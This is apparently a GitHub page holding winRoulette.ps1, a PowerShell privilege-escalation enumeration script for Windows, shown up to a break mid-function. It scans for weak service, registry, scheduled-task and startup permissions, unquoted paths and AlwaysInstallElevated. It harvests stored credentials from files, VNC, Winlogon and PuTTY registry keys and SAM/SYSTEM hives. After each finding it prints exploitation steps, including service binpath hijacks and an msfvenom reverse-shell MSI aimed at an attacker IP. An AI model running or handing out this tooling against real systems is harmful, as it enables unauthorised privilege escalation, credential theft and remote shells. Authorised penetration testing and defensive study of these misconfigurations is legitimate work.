-
Notifications
You must be signed in to change notification settings - Fork 0
/
winRoulette.ps1
1054 lines (838 loc) · 35.3 KB
/
winRoulette.ps1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
<#
File: winRoulette.ps1
Author: Sara Concepcion (@lightw1s3)
Required Dependencies: None
#>
Write-Host ("Welcome to winRoulette!") -ForegroundColor White -BackgroundColor DarkRed
write-host "Windows Privilege Escalation Techniques Testing Script"
<#
Global variables
#>
$cusername = $env:UserName
$arch = $env:PROCESSOR_ARCHITECTURE
$scriptPath = split-path -parent $MyInvocation.MyCommand.Definition
#Results Folder
New-Item -Path "$scriptPath\results" -ItemType Directory -Force | Out-Null
################################
# Auxiliary Functions
################################
function Get-LocalGroupUser {
<#
.OUTPUTS
Return all the groups common in Windows that maybe a user can be assigned
It depends on the language of the operative system
#>
[CmdletBinding()]
[OutputType([string[]])]
param()
$groups=@("Everyone", "NT AUTHORITY\Authenticated users", "BUILTIN\Users", "NT AUTHORITY\Interactive")
$language = Get-Culture | Select Name
if($language -match "es-*"){
$groups += "NT AUTHORITY\Usuarios autentificados", "Todos", "BUILTIN\Usuarios"
}
return $groups
}
function Get-PathAccessChk {
<#
.OUTPUTS
Return the path of the accesschk tool
#>
[CmdletBinding()]
param()
# Path for accesschk tool
$toolFolder64 = "$scriptPath\tools\AccessChk\accesschk64.exe"
$toolFolder32 = "$scriptPath\tools\AccessChk\accesschk.exe"
if ($arch -eq "AMD64"){
if (Test-Path -Path $toolFolder64) {
return $toolFolder64
} else {
throw "[!] accesschk64.exe is not found in tools folder"
}
} else {
if (Test-Path -Path $toolFolder32){
return $toolFolder32
} else {
throw "[!] accesschk.exe is not found in tools folder"
}
}
}
function Check-LocalSystemServicePriv {
<#
.OUTPUTS
Return if the service is run with LocalSystem
#>
[CmdletBinding()]
[OutputType([bool])]
param(
[Parameter(Position = 0, Mandatory = $True)]
[String]
[ValidateNotNullOrEmpty()]
$serv
)
#Check admin priviledges
if (sc.exe qc "$serv" | Select-String -Pattern "localsystem"){
return $True
}else{
return $False
}
}
function Check-IncorrectFilePermissions {
<#
.INPUTS
Complete path for an executable
.OUTPUTS
Return if the executable is modifible for user
#>
[CmdletBinding()]
[OutputType([bool])]
param(
[Parameter(Position = 0, Mandatory = $True)]
[String]
[ValidateNotNullOrEmpty()]
$pathfile
)
#result variable
$check = $False
#Execute Acceschk
$accesschk = Get-PathAccessChk
$commandAccess = "$accesschk /accepteula -quvw `"$pathfile`""
$raccchk = Invoke-Expression -Command $commandAccess
$patternPermissions = "(FILE_ALL_ACCESS|FILE_WRITE_)"
if ("$raccchk" -match $patternPermissions){
#check groups in service
#Check user in service
$userLocalGroups = Get-LocalGroupUser
foreach($group in $userLocalGroups){
$group = $group.Replace("\", "\\")
if ("$raccchk" -match "$group"){
$check=$True
break
}
}
#Check user in service
if ($check -eq $False){
if ("$raccchk" -match "$env:Username"){
$check=$True
}
}
}
if ($check -eq $False){
return $False
} else {
return $True
}
}
function Check-WriteDirectoryPermissions {
<#
.INPUTS
Complete path for a folder
.OUTPUTS
Return if the directory is write by user
#>
[CmdletBinding()]
[OutputType([bool])]
param(
[Parameter(Position = 0, Mandatory = $True)]
[String]
[ValidateNotNullOrEmpty()]
$ipath
)
#result variable
$check = $False
#Execute Acceschk
$accesschk = Get-PathAccessChk
$commandAccess = "$accesschk /accepteula -uwdq `"$ipath`""
$raccchk = Invoke-Expression -Command $commandAccess
$patternPermissions = "RW"
if ("$raccchk" -match $patternPermissions){
#check groups in service
#Check user in service
$userLocalGroups = Get-LocalGroupUser
foreach($group in $userLocalGroups){
$group = $group.Replace("\", "\\")
if ("$raccchk" -match "$group"){
$check=$True
break
}
}
#Check user in service
if ($check -eq $False){
if ("$raccchk" -match "$env:Username"){
$check=$True
}
}
}
if ($check -eq $False){
return $False
} else {
return $True
}
}
################################
# Privilege Tecniques Functions
################################
function Check-KernelInfo {
[CmdletBinding()]
param()
write-host "`n"
write-host "[*] Check kernel information"
echo "SO Version" | Out-File -FilePath "$scriptPath\results\SystemInfo.txt" -Append
$osversion = [System.Environment]::OSVersion.Version
$osversion | Out-File -FilePath "$scriptPath\results\SystemInfo.txt" -Append
echo -------------------- | Out-File -FilePath "$scriptPath\results\SystemInfo.txt" -Append
echo "Architecture" | Out-File -FilePath "$scriptPath\results\SystemInfo.txt" -Append
$architecture = wmic os get osarchitecture
$architecture | Out-File -FilePath "$scriptPath\results\SystemInfo.txt" -Append
echo -------------------- | Out-File -FilePath "$scriptPath\results\SystemInfo.txt" -Append
echo "All Patches" | Out-File -FilePath "$scriptPath\results\SystemInfo.txt" -Append
$patches = Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid}
$patches | Out-File -FilePath "$scriptPath\results\SystemInfo.txt" -Append
echo -------------------- | Out-File -FilePath "$scriptPath\results\SystemInfo.txt" -Append
echo "Security Patches" | Out-File -FilePath "$scriptPath\results\SystemInfo.txt" -Append
$secupdates = Get-Hotfix -description "Security update"
$patches | Out-File -FilePath "$scriptPath\results\SystemInfo.txt" -Append
echo -------------------- | Out-File -FilePath "$scriptPath\results\SystemInfo.txt" -Append
write-host " ? Last change for escalation of privileges" -ForegroundColor DarkYellow
write-host " OsVersion:"
write-host $osversion
write-host " Architecture:"
write-host $architecture
write-host " Patches:"
write-host $patches
write-host " Next Steps:"
write-host " 1. Search operative system version in ExploitDB or Google it"
write-host " 2. Same with the KB"
}
function Check-InsecureServices {
[CmdletBinding()]
param()
write-host "`n"
write-host "[*] Check insecure service permissions"
#Return variable
$result = $false
$accesschk = Get-PathAccessChk
# execute acceschk
$commandAccess = "$accesschk /accepteula -uwcqv $cusername *"
$raccchk = Invoke-Expression -Command $commandAccess
$raccchk | Out-File -FilePath "$scriptPath\results\accesscheckInsecureServices.txt"
#Check permission services
$pattern = '(SERVICE_ALL_ACCESS|SERVICE_CHANGE_CONFIG)'
$permissions = $raccchk | Select-String -AllMatches $pattern | select -ExpandProperty Matches | select -ExpandProperty Value | select -unique
if (-not ([string]::IsNullOrEmpty($permissions))){
$result = $true
}
# Write method
if ($result -eq $true){
write-host " + Possible escalation of privileges" -ForegroundColor green
write-host " Next Steps:"
write-host " 1. Search for the name of the service with SERVICE_ALL_ACCESS or SERVICE_CHANGE_CONFIG permissions in accesscheckInsecureServices.txt file generated"
write-host " 2. See if it is launched with LocalSystem and Start_Type: 3: sc qc [service_name]"
write-host " 3. Change config: sc config [service_name] binpath=[payload]"
} else {
write-host " - Not possible escalation of privileges" -ForegroundColor red
}
}
function Check-UnquotedPathServices {
[CmdletBinding()]
param()
write-host "`n"
write-host "[*] Check unquoted path services"
#Return variable
$result = $false
#Check path null, with simple and double quotes
#Check other with parameters in path too
$possiblevulservices = Get-WmiObject win32_service | Select Name, DisplayName, State, PathName | Where-object {
($_.pathname -ne $null) -and (-not $_.pathname.StartsWith("`"")) -and (-not $_.pathname.StartsWith("'")) -and ($_.pathname.Substring(0, $_.pathname.ToLower().IndexOf('.exe') + 4))
}
if (-not ([string]::IsNullOrEmpty($possiblevulservices))){
$servresult = @()
foreach ($oneservice in $possiblevulservices){
$splitpathblank = $oneservice.pathname.Substring(0, $oneservice.pathname.ToLower().IndexOf('.exe') + 4).Split(' ')
$splitpathslash = $oneservice.pathname.Substring(0, $oneservice.pathname.ToLower().IndexOf('.exe') + 4).Split('\')
# Check write permissions
# C:\PrivEsc\accesschk.exe /accepteula -uwdq "C:\Program Files\Unquoted Path Service\"
$concatpatharray = @()
if ($splitpathblank.Length -gt 2) {
$servresult += ( " (-) Name: " + $oneservice.Name + " --- " + "Path: " + $oneservice.PathName)
#Check if the service is associated with LocalSystem
$pserv = Check-LocalSystemServicePriv $oneservice.Name
if ($pserv){
for ($i=0;$i -lt $splitpathslash.Length; $i++) {
$concatpatharray += $splitpathslash[0..$i] -join '\'
}
# Delete last element (.exe file)
$newconcatpatharray = $concatpatharray[0..($concatpatharray.Length-2)]
# Check write permissions in paths
$accesschk = Get-PathAccessChk
foreach($ipath in $newconcatpatharray){
# Check RW for user o included groups
$pwrite = Check-WriteDirectoryPermissions $ipath
if ($pwrite){
$raccchk | Out-File -FilePath "$scriptPath\results\accesscheckUnquotedPath.txt" -Append
}
}
}
}
}
}
if (-not ([string]::IsNullOrEmpty($servresult))){
$result = $true
$servresult = $servresult -join "`n"
}
# Write method
if ($result -eq $true){
write-host " + Possible escalation of privileges" -ForegroundColor green
write-host " Possible vulnerable name services run with LocalSystem:"
write-host $servresult
write-host " Next Steps:"
write-host " 1. Check if it is launched with Start_Type: 3"
write-host " 2. The folders listed under accesscheckUnquotedPath.txt have write permissions for the user"
write-host " 3. Place the payload in the indicated path. Rename it with the letters up to the next found space."
} else {
write-host " - Not possible escalation of privileges" -ForegroundColor red
}
}
function Check-WeakRegistryPermissions{
[CmdletBinding()]
param()
write-host "`n"
write-host "[*] Check weak registry permissions"
#Return variable
$result = $false
# Check write permissions for each service in registry
# For user or group
$accesschk = Get-PathAccessChk
$commandAccess="$accesschk /accepteula $env:UserName -uvwqks HKLM\System\CurrentControlSet\Services"
$raccchk = Invoke-Expression -Command $commandAccess
#Servicios que posee el permiso KEY_ALL_ACCESS
$posvulnServices = $raccchk | Select-String -Pattern 'KEY_ALL_ACCESS' -AllMatches -Context 1 | % { ($_.context.precontext)[0] }
#Check if the user can start and stop the service
# accc -ucqv $env:UserName service
# Get the name of service of the $vulnServices \Services\name trim por barras
$vulServ = @()
if (-not ([string]::IsNullOrEmpty($posvulnServices))){
#foreach ($line in $posvulnServices.Split("`n")) {
foreach ($line in $posvulnServices) {
$arrayVuln = $line.Split("\")
#Last element is the service
$serv = $arrayVuln[$arrayVuln.Length - 1]
if (Check-LocalSystemServicePriv $serv) {
$result = $true
$vulServ += $serv
}
}
}
# Write method
if ($result -eq $true){
$vulServ = $vulServ -join "`n"
write-host " + Possible escalation of privileges" -ForegroundColor green
write-host " Next Steps:"
write-host " Vulnerable services based on weak privileges in registry with LocalSystem:"
write-host "$vulServ"
write-host " 1. Overwrite the service registration key: reg add HKLM\SYSTEM\CurrentControlSet\Services\[vulnserv] /v ImagePath /t REG_EXPAND_SZ /d [payloadpath] /f"
write-host " 2. net start [vulnserv]"
} else {
write-host " - Not possible escalation of privileges" -ForegroundColor red
}
}
function Check-InsecureServicesExecutable{
[CmdletBinding()]
param()
write-host "`n"
write-host "[*] Check insecure services executable"
#Return variable
$result = $false
#Auxiliar variables
$vulnserv=@()
#Get path not into System32
$possiblevulservices = Get-WmiObject win32_service | Select Name, PathName | Where-object {
($_.pathname -ne $null) -and ($_.pathname.ToLower() -notmatch "\\system32\\")
}
if (-not ([string]::IsNullOrEmpty($possiblevulservices))){
foreach($ipath in $possiblevulservices){
#check if the service run with localsystem
if (Check-LocalSystemServicePriv $ipath.Name){
$ipath.pathname = $ipath.pathname.Replace("'", "")
$ipath.pathname = $ipath.pathname.Replace('"', '')
$ipath.pathname = $ipath.pathname.Substring(0, $ipath.pathname.ToLower().IndexOf('.exe') + 4)
#Check permissions service
$pathexecutable=$ipath.pathname
$incorrectPerm = Check-IncorrectFilePermissions $pathexecutable
if ($incorrectPerm -eq $True){
$vulnserv += $ipath.pathname
}
}
}
}
if (-not ([string]::IsNullOrEmpty($vulnserv))){
$result = $true
}
# Write method
if ($result -eq $true){
write-host " + Possible escalation of privileges" -ForegroundColor green
write-host " Next Steps:"
write-host " Insecure executable services.The function checks that the permissions held by the user or groups to which it belongs through AccesChk are appropriate to exploit this vulnerability."
write-host "$vulnserv"
write-host " 1. Copy the payload in the path with the exactly name of the vuln service: copy [payload] [pathvulnserv] /Y"
write-host " 2. net start [vulnserv]"
} else {
write-host " - Not possible escalation of privileges" -ForegroundColor red
}
}
function Check-TaskScheduled{
[CmdletBinding()]
param()
write-host "`n"
write-host "[*] Check insecure task scheduled"
#Return variable
$resultPerm = $false
$resultPath = $false
#Auxiliary variables
$vulnservPerm=@{}
$vulnservUnquoted=@{}
$accesschk = Get-PathAccessChk
$OrigError = $ErrorActionPreference
$ErrorActionPreference = "SilentlyContinue"
# Get all task possible vuln
$tasks = Get-ScheduledTask | Where-Object {$_.TaskPath -notlike "\Microsoft*"}
if ($tasks.Count -ne 0){
foreach ($task in $tasks){
#Check if the task is enabled
[string] $taskstate = $task.state
if($taskstate.ToLower() -eq "ready"){
$taskname = $task.taskname
#Obtain command Line
#sometimes prints task that not exists
try{
$command = schtasks /query /tn "$taskname" /xml | Select-String "Command"
} catch {
break
}
$command = $command.ToString().Trim()
$match = Select-String ">(.*)<" -inputobject $command
$command = $match.matches.groups[0].value
$command = $command.Replace(">", "")
$command = $command.Replace("<", "")
#######
#1. check insecure permissions
#######
#Check permissions of the executable
$pathTaskCommand = $command.Replace("'", "")
$pathTaskCommand = $pathTaskCommand.Replace('"', '')
$pathTaskCommand = $pathTaskCommand.Substring(0, $pathTaskCommand.ToLower().IndexOf('.exe') + 4)
#Check permissions service
$incorrectPerm = Check-IncorrectFilePermissions $pathTaskCommand
if ($incorrectPerm -eq $True){
$vulnservPerm.add("$taskname","$pathTaskCommand")
}
#######
#2. check unquoted path
#######
$splitpathblank = $command.Substring(0, $command.ToLower().IndexOf('.exe') + 4).Split(' ')
$splitpathslash = $command.Substring(0, $command.ToLower().IndexOf('.exe') + 4).Split('\')
$concatpatharray = @()
if ($splitpathblank.Length -gt 2) {
$servresult += ( "Path: " + $command)
for ($i=0;$i -lt $splitpathslash.Length; $i++) {
$concatpatharray += $splitpathslash[0..$i] -join '\'
}
# Delete last element (.exe file)
$newconcatpatharray = $concatpatharray[0..($concatpatharray.Length-2)]
# Check write permissions in path
# execute acceschk
foreach($ipath in $newconcatpatharray){
$okwritedir = Check-WriteDirectoryPermissions $ipath
if ($okwritedir -eq $True){
$vulnservUnquoted.add("$taskname","$ipath")
$raccchk | Out-File -FilePath "$scriptPath\results\AccChk_TaskUnquotedPath.txt" -Append
}
}
}
} else {
Write-Verbose "Task '$($task.name)' is disabled"
}
}#foreachtasks
}#exitstasks cambio
$ErrorActionPreference = $OrigError
if ($vulnservPerm.Count -ne 0){
$resultPerm = $true
}
if ($vulnservUnquoted.Count -ne 0){
$resultPath = $true
}
# Write method
if ($resultPerm -eq $true){
write-host " + Possible escalation of privileges" -ForegroundColor green
write-host " [-] insecure permissions executables in task"
$vulnservPerm.keys | foreach-object{
$message = 'Taskname-TaskCommand: {0} - {1}' -f $_, $vulnservPerm[$_]
Write-Output $message
}
write-host " Next Steps:"
write-host " 1. Obtain the service with the path (careful with env variables): Get-WmiObject win32_service | Select Name, PathName | Where-Object {`$_.pathname -eq `"[TaskCommand]`"} "
write-host " 2. Check if the service execute with LocalSystem Privs: sc.exe qc [servicename]"
write-host " 3. Copy the payload in the path with the exactly name of the vuln service: copy [payload] [pathvulnserv] /Y"
write-host " 4. Wait task"
} elseif ($resultPath -eq $true) {
write-host " + Possible escalation of privileges" -ForegroundColor green
write-host " [-] unquoted path for task"
$vulnservUnquoted.keys | foreach-object{
$message = 'Taskname-ExecutablePath: {0} - {1}' -f $_, $vulnservUnquoted[$_]
Write-Output $message
}
write-host " Next Steps:"
write-host " 1. Obtain the service with the path (careful with env variables): Get-WmiObject win32_service | Select Name, PathName | Where-Object {`$_.pathname -eq `"[ExecutablePath]`"} "
write-host " 2. Check if the service execute with LocalSystem Privs: sc.exe qc [servicename]"
write-host " 3. Check write permissions in the split path folders services: AccChk_TaskUnquotedPath.txt"
write-host " 4. Place the payload in the indicated path. Rename it with the letters up to the next found space."
write-host " 5. Wait task"
}else {
write-host " - Not possible escalation of privileges" -ForegroundColor red
}
}
function Check-Autoruns{
[CmdletBinding()]
param()
write-host "`n"
write-host "[*] Check insecure services executable points to an autorun registry"
#Return variable
$result = $false
#Auxiliary variables
$servVuln = @()
$OrigError = $ErrorActionPreference
$ErrorActionPreference = "SilentlyContinue"
# Only search in HKLM
$keyAutoruns = @("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run",
"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce",
"HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run",
"HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce",
"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Terminal Server\Install\Software\Microsoft\Windows\CurrentVersion\Run",
"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Terminal Server\Install\Software\Microsoft\Windows\CurrentVersion\Runonce",
"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunService",
"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceService",
"HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunService",
"HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnceService"
)
#Obtain executables for each value
foreach($ikey in $keyAutoruns){
$registryCommand= "Registry::" + $ikey
#To manage the registry that not exits
try {
$namesubkeys = Get-Item -Path $registryCommand
}catch{
break
}
foreach($v in $namesubkeys.GetValueNames()){
$servicePath = $namesubkeys.GetValue($v)
#Check permissions service
$incorrectPerm = Check-IncorrectFilePermissions $servicePath
if($incorrectPerm){
$servVuln += $servicePath
}
}
}
$ErrorActionPreference = $OrigError
if (-not ([string]::IsNullOrEmpty($servVuln))){
$result = $true
}
# Write method
if ($result -eq $true){
write-host " + Possible escalation of privileges" -ForegroundColor green
write-host " Next Steps:"
write-host " Insecure executable services.The function checks that the permissions held by the user or groups to which it belongs through AccesChk are appropriate to exploit this vulnerability."
write-host "$servVuln"
write-host " 1. Copy the payload in the path with the exactly name of the vuln service: copy [payload] [pathvulnserv] /Y"
write-host " 2. Restart or turn off the system. Wait for an administrator user to log in."
} else {
write-host " - Not possible escalation of privileges" -ForegroundColor red
}
}
function Check-AlwaysInstallElevated {
[CmdletBinding()]
param()
write-host "`n"
write-host "[*] Check allways install elevated policy"
#Return variable
$result = $false
#Auxiliary variables
$OrigError = $ErrorActionPreference
$ErrorActionPreference = "SilentlyContinue"
$keyPolicyHKCU = "HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer"
$keyPolicyHKLM = "HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer"
$registryCommand= "Registry::" + $keyPolicyHKCU
$rvalueHKCU = Get-ItemPropertyValue -Path $registryCommand -Name AlwaysInstallElevated
$registryCommand= "Registry::" + $keyPolicyHKLM
$rvalueHKLM = Get-ItemPropertyValue -Path $registryCommand -Name AlwaysInstallElevated
$ErrorActionPreference = $OrigError
if (($rvalueHKCU -eq 1) -and ($rvalueHKLM -eq 1)){
$result = $true
}
# Write method
if ($result -eq $true){
write-host " + Possible escalation of privileges" -ForegroundColor green
write-host " Next Steps:"
write-host " AlwaysInstallElevated is activated"
write-host " 1. Create a reverse shell msi: msfvenom -p windows/x64/shell_reverse_tcp LHOST=[attackerip] LPORT=[attackerport] -f msi -o reverse.msi"
write-host " 2. Download file in windows and execute: msiexec /quiet /qn /i reverse.msi"
} else {
write-host " - Not possible escalation of privileges" -ForegroundColor red
}
}
function Check-InsecureGUIApps{
[CmdletBinding()]
param()
write-host "`n"
write-host "[*] Check insecure gui apps executing"
#Return variable
$result = $false
$computer = hostname
$pattern = "($computer|\SYSTEM)"
# save running with other users or system
$taskexec = tasklist /v | Select-String -notmatch "$env:Username" | Select-String -Pattern $pattern
$taskexec | Out-File -FilePath "$scriptPath\results\InsecureGUIApps.txt" -Append
if (-not ([string]::IsNullOrEmpty($taskexec))){
$result = $true
}
# Write method
if ($result -eq $true){
write-host " + Possible escalation of privileges" -ForegroundColor green
write-host " Next Steps:"
write-host " Applications running under other users' or SYSTEM privileges: CheckInsecureGUIApps.txt"
write-host " 1. Check if any user is in Admin group: net user [user]"
write-host " 2. Execute the program with privs and open file: file://c:/windows/system32/cmd.exe push ENTER"
} else {
write-host " - Not possible escalation of privileges" -ForegroundColor red
}
}
function Check-StartUpApps{
[CmdletBinding()]
param()
write-host "`n"
write-host "[*] Check permissions in startup apps folder"
#Return variable
$result = $false
$startUpfolder = "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup"
#Check write permissions
$result = Check-WriteDirectoryPermissions $startUpfolder
# Write method
if ($result -eq $true){
write-host " + Possible escalation of privileges" -ForegroundColor green
write-host " Next Steps:"
write-host " StartUp machine folder is writeable"
write-host " 1. Generate payload, for example .exe"
write-host " 2. Download into folder C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup"
write-host " 3. Wait to admin login"
} else {
write-host " - Not possible escalation of privileges" -ForegroundColor red
}
}
function Check-PasswordsFilesDir{
[CmdletBinding()]
param()
#Return variable
$result = $false
#############
# Search files
###############
write-host " [-] Check files and directories"
echo "Section:Files and Directories" | Out-File -FilePath "$scriptPath\results\PossiblePasswords.txt" -Append
#Name file or directory
$directories = Get-ChildItem -Recurse -Path C:\ | where-object {$_.FullName}
$arrdir=@()
foreach($dir in $directories){
$pattern = "(.*pass.*|.*cred.*)"
if ($dir.fullname -match $pattern){
$arrdir += $dir.fullname
}
}
#Content
$pattcred = "(.*user.*|.*usu.*|.*account.*|.*pass.*)"
$filescpass = Get-ChildItem -recurse -include *.txt,*.config,*.ini,*.xml -Path C:\ | Select-String -pattern $pattcred
$resmatchpass = Compare-Object -ReferenceObject $arrdir -DifferenceObject $filescpass -IncludeEqual
$resmatchpass | Out-File -FilePath "$scriptPath\results\PossiblePasswords.txt" -Append
echo "------------" | Out-File -FilePath "$scriptPath\results\PossiblePasswords.txt" -Append
if (-not ([string]::IsNullOrEmpty($resmatchpass))){
$result = $true
}
# Write method
if ($result -eq $true){
write-host " + Possible credentials matches found" -ForegroundColor green
write-host " Next Steps:"
write-host " 1. Check PossiblePasswords.txt section: Files and Directories"
} else {
write-host " |- Nothing found"
}
}
function Check-RegistryPass{
[CmdletBinding()]
param()
write-host " [-] Check common credentials stored in registry"
echo "Section:Common credentials in registry" | Out-File -FilePath "$scriptPath\results\PossiblePasswords.txt" -Append
#Return variable
$result = $false
#Auxiliary variables
$OrigError = $ErrorActionPreference
$ErrorActionPreference = "SilentlyContinue"
# Only search in HKLM
$keyCommonPass = @("HKEY_LOCAL_MACHINE\SOFTWARE\TigerVNC\WinVNC4",
"HKEY_LOCAL_MACHINE\SOFTWARE\TightVNC\Server",
"HKEY_LOCAL_MACHINE\SOFTWARE\ORL\WinVNC3\Default",
"HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4\",
"HKEY_CURRENT_USER\SOFTWARE\TightVNC",
"HKEY_CURRENT_USER\SOFTWARE\TurboVNC",
"HKEY_CURRENT_USER\SOFTWARE\ORL\WinVNC3\Password",
"HKEY_USERS\.DEFAULT\Software\ORL\WinVNC3\Password",
"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon",
"HKEY_LOCAL_MACHINE\SYSTEM\Current\ControlSet\Services\SNMP",
"HKEY_CURRENT_USER\SOFTWARE\OpenSSH\Agent\Key",
"HKEY_CURRENT_USER\SOFTWARE\\SimonTatham\PuTTY\Sessions"
)
#Obtain executables for each value
foreach($ikey in $keyCommonPass){
$registryCommand= "Registry::" + $ikey
#To manage the registry that not exits
try {
$namesubkeys = Get-Item -Path $registryCommand
}catch{
break
}
echo $ikey | Out-File -FilePath "$scriptPath\results\PossiblePasswords.txt" -Append
foreach($v in $namesubkeys.GetValueNames()){
$pattcred = "(.*user.*|.*usu.*|.*account.*|.*pass.*)"
if ($v -match $pattcred){
$regvalue = $namesubkeys.GetValue($v)
$line = $v + ":" + $regvalue
echo $line | Out-File -FilePath "$scriptPath\results\PossiblePasswords.txt" -Append
$result = $true
}
}
}
$ErrorActionPreference = $OrigError
echo "------------" | Out-File -FilePath "$scriptPath\results\PossiblePasswords.txt" -Append
# Write method
if ($result -eq $true){
write-host " + Possible credentials in registry found" -ForegroundColor green
write-host " Next Steps:"
write-host " 1. Check PossiblePasswords.txt section: Common credentials in registry"
} else {
write-host " |- Nothing found"
}
}
function Check-RunAsCommand {
[CmdletBinding()]
param()
write-host " [-] Check credentials saved"
echo "Section:Cache Credentials Manager" | Out-File -FilePath "$scriptPath\results\PossiblePasswords.txt" -Append
$creds = cmdkey /list
echo $creds | Out-File -FilePath "$scriptPath\results\PossiblePasswords.txt" -Append
echo "------------" | Out-File -FilePath "$scriptPath\results\PossiblePasswords.txt" -Append
if (-not ([string]::IsNullOrEmpty($creds))){
$result = $true
}
# Write method
if ($result -eq $true){
write-host " + Possible credentials matches found" -ForegroundColor green
write-host " Next Steps:"
write-host " 1. Check PossiblePasswords.txt section: Credentials Manager"
} else {
write-host " |- Nothing found"
}
}
function Check-PasswordsBackupHives{
[CmdletBinding()]
param()
#Return variable
$result = $false
write-host " [-] Check cache credentials saved"
$commonDirs = @("C:\Windows\repair\SAM",
"C:\Windows\System32\config\RegBack\SAM",
"C:\Windows\System32\config\SAM",
"C:\Windows\repair\SYSTEM",
"C:\Windows\System32\config\SYSTEM",
"C:\Windows\System32\config\RegBack\SYSTEM"
)
$acopi=@()
foreach($dir in $commonDirs){
try{
$check = Test-Path $dir -PathType Leaf -ErrorAction Ignore
}catch{
$check = $false
}
if ($check){
$acopi += $dir
}
}
if (-not ([string]::IsNullOrEmpty($acopi))){
$result = $true
}
# Write method
if ($result -eq $true){
write-host " + Possible credentials matches found" -ForegroundColor green
write-host " Next Steps:"
write-host " 1. Copied this files to work machine. It is necessary SYSTEM + SAM"
write-host $acopi
} else {
write-host " |- Nothing found"
}
}
function Check-PasswordsPrivs{
[CmdletBinding()]
param()
